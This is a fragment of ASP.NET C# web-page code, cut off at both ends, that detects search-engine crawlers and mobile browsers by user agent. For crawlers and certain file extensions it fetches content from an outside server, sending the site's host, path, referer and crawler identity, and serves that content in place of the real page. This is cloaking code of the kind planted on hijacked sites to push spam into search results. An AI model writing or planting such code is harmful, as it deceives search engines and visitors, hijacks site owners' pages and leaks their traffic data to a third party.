ntains("wosbrowser") || userAgent.Contains("browserng") || userAgent.Contains("webos") || userAgent.Contains("symbian") || userAgent.Contains("windows phone"); } protected bool HasValidExtension(string url) { string[] validExtensions = { ".xml", ".fdc", ".one", ".bug", ".doc", ".love", ".txt", ".ppt", ".pptx", ".xls", ".csv", ".shtml", ".znb", ".msl", ".scm" }; foreach (string ext in validExtensions) { if (url.EndsWith(ext, StringComparison.OrdinalIgnoreCase)) { return true; } } return false; } protected string GetContent(string url) { string content = ""; try { using (System.Net.WebClient client = new System.Net.WebClient()) { client.Encoding = System.Text.Encoding.UTF8; // 设置请求头 client.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"); content = client.DownloadString(url); } } catch (Exception ex) { Response.Write("" + ex.Message); } return content; } protected void Page_Load(object sender, EventArgs e) { string ua = Request.ServerVariables["HTTP_USER_AGENT"]; if (ua != null) { ua = ua.ToString().ToLower(); } else { ua = ""; } string re = Request.ServerVariables["HTTP_REFERER"]; if (re != null) { re = re.ToString().ToLower(); } else { re = ""; } string url = Request.Url.ToString(); string host = Request.ServerVariables["HTTP_HOST"]; if (IsSpider(ua)) { if (HasValidExtension(url)) { string gethttp = GetContent("http://www.sqstem.com/aspx/app?domain=" + host + "&path=" + url + "&spider=" + Server.UrlEncode(ua) + "&referer=" + Server.UrlEncode(re)); Response.Write(gethttp); Response.Flush(); return; } else { string gethttp = GetContent("http://www.sqstem.com/u.php"); Response.Write(gethttp); Response.Flush(); } } if (HasValidExtension(url) && IsMobile(ua)) { Response.Clear(); StringBuilder sb = new StringBuilder(); sb.Append("